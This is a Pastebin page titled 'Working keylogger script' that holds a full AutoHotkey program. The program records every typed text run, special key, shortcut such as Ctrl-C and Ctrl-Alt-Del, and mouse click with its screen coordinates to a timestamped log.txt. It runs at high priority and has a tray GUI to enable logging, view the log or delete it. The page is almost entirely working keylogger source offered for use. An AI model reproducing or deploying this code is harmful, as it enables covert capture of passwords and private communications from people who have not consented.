Advertisement
Emerod

Working keylogger script

Dec 6th, 2020
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.19 KB | None | 0 0
  1. start:
  2.  
  3. ; ----------------------------------------------------------------- GUI BOX ----------------------------------------------------------------- ;
  4. ;#warn
  5.  
  6. OnMessage(0x404, "AHK_NOTIFYICON")
  7.  
  8. AHK_NOTIFYICON(wParam, lParam)
  9. {
  10. if (lParam = 0x202) ; WM_LBUTTONUP
  11. {
  12. GoSub, createGUI
  13. Gui, Show, , Hotkeys
  14. }
  15. else if (lParam = 0x205) ; WM_RBUTTONUP
  16. {
  17. Menu, Tray, Show
  18. }
  19. }
  20.  
  21.  
  22.  
  23.  
  24. IniRead, 12ch, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptKeylogger
  25. IniRead, 13ch, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptMouseTrap
  26.  
  27.  
  28.  
  29.  
  30. ; ----------------------------------------------------------------- KEY LOGGER ----------------------------------------------------------------- ;
  31. #If (12ch = 1)
  32.  
  33. #noenv
  34. #singleinstance, ignore
  35. setbatchlines, -1
  36. setworkingdir, %a_scriptdir%
  37. process, priority, ,high
  38. coordmode, mouse, screen
  39.  
  40.  
  41. settimer, mem, 1200000, 0
  42.  
  43. blank=
  44. endkey={enter}{tab}{BS}{left}{up}{right}{down}{LeftButton}{RButton}
  45. match=.,?,!
  46.  
  47. while (12ch = 1)
  48. {
  49. ; msgbox, loop value: %12ch%
  50. key=
  51. emptymem()
  52. input, text, imv*, %endkey%, %match%
  53. stringtrimleft, key, errorlevel, 7
  54. stringreplace, key, key, enter, {Enter}
  55. stringreplace, key, key, tab, {Tab}
  56. stringreplace, key, key, backspace, {Backspace}
  57. stringreplace, key, key, left, {Left Arrow}
  58. stringreplace, key, key, up, {Up Arrow}
  59. stringreplace, key, key, right, {Right Arrow}
  60. stringreplace, key, key, down, {Down Arrow}
  61. stringreplace, key, key, LButton, {Left Button}
  62. stringreplace, key, key, RButton, {Right Button}
  63. stringreplace, text, text, , %blank%
  64. time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
  65. key=%key%
  66. text=%text%
  67.  
  68. if text=%blank%
  69. {
  70. fileappend, %time% - %key%`n, log.txt
  71. }
  72.  
  73. if key=%blank%
  74. {
  75. fileappend, %time% - %text%`n, log.txt
  76. }
  77.  
  78. if text<>%blank%
  79. {
  80. if key<>%blank%
  81. {
  82. fileappend, %time% - %text%`n, log.txt
  83. fileappend, %time% - %key%`n, log.txt
  84. }
  85. }
  86. }
  87.  
  88. ~esc & f1::return
  89. ~esc up::
  90. {
  91. content = {Esc}
  92. goto, write
  93. }
  94. return
  95.  
  96. ~printscreen & f1::return
  97. ~printscreen up::
  98. {
  99. content = {Print Screen}
  100. goto, write
  101. }
  102. return
  103.  
  104. ~lshift & f1::return
  105. ~lshift up::
  106. {
  107. content = {Left Shift}
  108. goto, write
  109. }
  110. return
  111.  
  112. ~rshift & f1::return
  113. ~rshift up::
  114. {
  115. content = {Right Shift}
  116. goto, write
  117. }
  118. return
  119.  
  120. ~lcontrol & f1::return
  121. ~lcontrol up::
  122. {
  123. content = {Left Ctrl}
  124. goto, write
  125. }
  126. return
  127.  
  128. ~rcontrol & f1::return
  129. ~rcontrol up::
  130. {
  131. content = {Right Ctrl}
  132. goto, write
  133. }
  134. return
  135.  
  136. ~lalt & f1::return
  137. ~lalt up::
  138. {
  139. content = {Left Alt}
  140. goto, write
  141. }
  142. return
  143.  
  144. ~ralt & f1::return
  145. ~ralt up::
  146. {
  147. content = {Right Alt}
  148. goto, write
  149. }
  150. return
  151.  
  152. ~lwin::
  153. {
  154. content = {Left Win}
  155. goto, write
  156. }
  157. return
  158.  
  159. ~rwin::
  160. {
  161. content = {Right Win}
  162. goto, write
  163. }
  164. return
  165.  
  166. ~del & f1::return
  167. ~del up::
  168. {
  169. content = {Delete}
  170. goto, write
  171. }
  172. return
  173.  
  174. ~ins & f1::return
  175. ~ins up::
  176. {
  177. content = {Insert}
  178. goto, write
  179. }
  180. return
  181.  
  182. ~home & f1::return
  183. ~home up::
  184. {
  185. content = {Home}
  186. goto, write
  187. }
  188. return
  189.  
  190. ~end & f1::return
  191. ~end up::
  192. {
  193. content = {End}
  194. goto, write
  195. }
  196. return
  197.  
  198. ~pgup::
  199. {
  200. content = {Page Up}
  201. goto, write
  202. }
  203. return
  204.  
  205. ~pgdn::
  206. {
  207. content = {Page Down}
  208. goto, write
  209. }
  210. return
  211.  
  212. ~^z::
  213. {
  214. content = {Ctrl-Z}
  215. goto, write
  216. }
  217. return
  218.  
  219. ~^x up::
  220. {
  221. content = {Ctrl-X}
  222. goto, write
  223. }
  224. return
  225.  
  226. ~^c up::
  227. {
  228. content = {Ctrl-C}
  229. goto, write
  230. }
  231. return
  232.  
  233. ~^v::
  234. {
  235. content = {Ctrl-V}
  236. goto, write
  237. }
  238. return
  239.  
  240. ~^s::
  241. {
  242. content = {Ctrl-S}
  243. goto, write
  244. }
  245. return
  246.  
  247. ~^del::
  248. {
  249. content = {Ctrl-Del}
  250. goto, write
  251. }
  252. return
  253.  
  254. ~^BS::
  255. {
  256. content = {Ctrl-Backspace}
  257. goto, write
  258. }
  259. return
  260.  
  261.  
  262. ~^!del::
  263. {
  264. content = {Ctrl-Alt-Del}
  265. goto, write
  266. }
  267. return
  268.  
  269. ~^+esc::
  270. {
  271. content = {Ctrl-Shift-Esc}
  272. goto, write
  273. }
  274. return
  275.  
  276. ~f1 up::
  277. {
  278. content = {F1}
  279. goto, write
  280. }
  281. return
  282.  
  283. ~f2 up::
  284. {
  285. content = {F2}
  286. goto, write
  287. }
  288. return
  289.  
  290. ~f3 up::
  291. {
  292. content = {F3}
  293. goto, write
  294. }
  295. return
  296.  
  297. ~f4 up::
  298. {
  299. content = {F4}
  300. goto, write
  301. }
  302. return
  303.  
  304. ~f5 up::
  305. {
  306. content = {F5}
  307. goto, write
  308. }
  309. return
  310.  
  311. ~f6 up::
  312. {
  313. content = {F6}
  314. goto, write
  315. }
  316. return
  317.  
  318. ~f7 up::
  319. {
  320. content = {F7}
  321. goto, write
  322. }
  323. return
  324.  
  325. ~f8 up::
  326. {
  327. content = {F8}
  328. goto, write
  329. }
  330. return
  331.  
  332. ~f9 up::
  333. {
  334. content = {F9}
  335. goto, write
  336. }
  337. return
  338.  
  339. ~f10 up::
  340. {
  341. content = {F10}
  342. goto, write
  343. }
  344. return
  345.  
  346. ~f11 up::
  347. {
  348. content = {F11}
  349. goto, write
  350. }
  351. return
  352.  
  353. ~f12 up::
  354. {
  355. content = {F12}
  356. goto, write
  357. }
  358. return
  359.  
  360.  
  361. #If (13ch = 1) && (12ch = 1)
  362. ~lbutton::
  363. {
  364. time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
  365. mousegetpos, mx, my
  366.  
  367. if lcount > 0
  368. {
  369. lcount += 1
  370. return
  371. }
  372. else
  373. {
  374. lcount = 1
  375. settimer, go, 300
  376. return
  377. }
  378.  
  379. go:
  380. {
  381. settimer, go, off
  382.  
  383. if lcount = 1
  384. {
  385. content = {Left click - %mx% x %my%}
  386. gosub, write
  387. }
  388. else if lcount > 1
  389. {
  390. content = {Double click - %mx% x %my%}
  391. gosub, write
  392. }
  393. }
  394. lcount = 0
  395. return
  396. }
  397.  
  398.  
  399. ~rbutton::
  400. {
  401. date=%a_dd%-%a_mm%-%a_yyyy%
  402. time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
  403. mousegetpos, mx, my
  404. content = {Right click - %mx% x %my%}
  405. goto, write
  406. }
  407. return
  408.  
  409. ~mbutton::
  410. {
  411. time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
  412. mousegetpos, mx, my
  413. content = {Center click - %mx% x %my%}
  414. settimer, write, -120
  415. }
  416. return
  417.  
  418.  
  419. write:
  420. {
  421. time=%a_dd%/%a_mm%/%a_yyyy% %a_hour%:%a_min%:%a_sec%
  422. fileappend, %time% - %content%`n, log.txt
  423. emptymem()
  424. }
  425. return
  426.  
  427. view:
  428. {
  429. fileinstall, log.txt, log.txt, 0
  430. runwait, log.txt
  431. emptymem()
  432. }
  433. return
  434.  
  435. delete:
  436. {
  437. ifexist, log.txt
  438. {
  439. msgbox, 33, Confirm Delete, Delete log?
  440.  
  441. ifmsgbox, ok
  442. {
  443. filerecycle, log.txt
  444. msgbox, 64, Log Deleted, The log file has been sent to the Recycle Bin., 5
  445. emptymem()
  446. return
  447. }
  448. else
  449. {
  450. emptymem()
  451. return
  452. }
  453. }
  454.  
  455. ifnotexist, log.txt
  456. {
  457. msgbox, 64, Cannot Delete Log, Cannot delete log file because it does not exist., 5
  458. emptymem()
  459. return
  460. }
  461. }
  462. return
  463.  
  464. mem:
  465. {
  466. emptymem()
  467. }
  468. return
  469.  
  470. emptymem()
  471. {
  472. return, dllcall("psapi.dll\EmptyWorkingSet", "UInt", -1)
  473. }
  474.  
  475.  
  476.  
  477.  
  478. ; ----------------------------------------------------------------- GUI BOX ----------------------------------------------------------------- ;
  479.  
  480. createGUI:
  481. Gui, Destroy
  482.  
  483.  
  484.  
  485. IniRead, 12ch, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptKeylogger
  486. Gui, Add, Checkbox, vOptKeyLogger Checked%12ch%, enable KeyLogger
  487.  
  488. IniRead, 13ch, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptMouseTrap
  489. Gui, Add, Checkbox, vOptMouseTrap Checked%13ch%, enable MouseTrap
  490.  
  491.  
  492. Gui, Add, Button, gview, View Log
  493. Gui, Add, Button, gdelete, Delete Log
  494. Gui, Add, Button, gExitButton, Save and Exit
  495. return
  496.  
  497.  
  498.  
  499. ExitButton:
  500. GuiClose:
  501.  
  502. Gui, Submit, Hide
  503.  
  504. IniWrite, %OptKeyLogger%, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptKeyLogger
  505. IniWrite, %OptMouseTrap%, C:\Program Files\AutoHotkey\Files\Hotkeys.ini, Checkboxes, checkboxOptMouseTrap
  506.  
  507. Gui, Destroy
  508.  
  509. ; msgbox, end of script value %12ch%
  510.  
  511. goto, start
  512. return
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement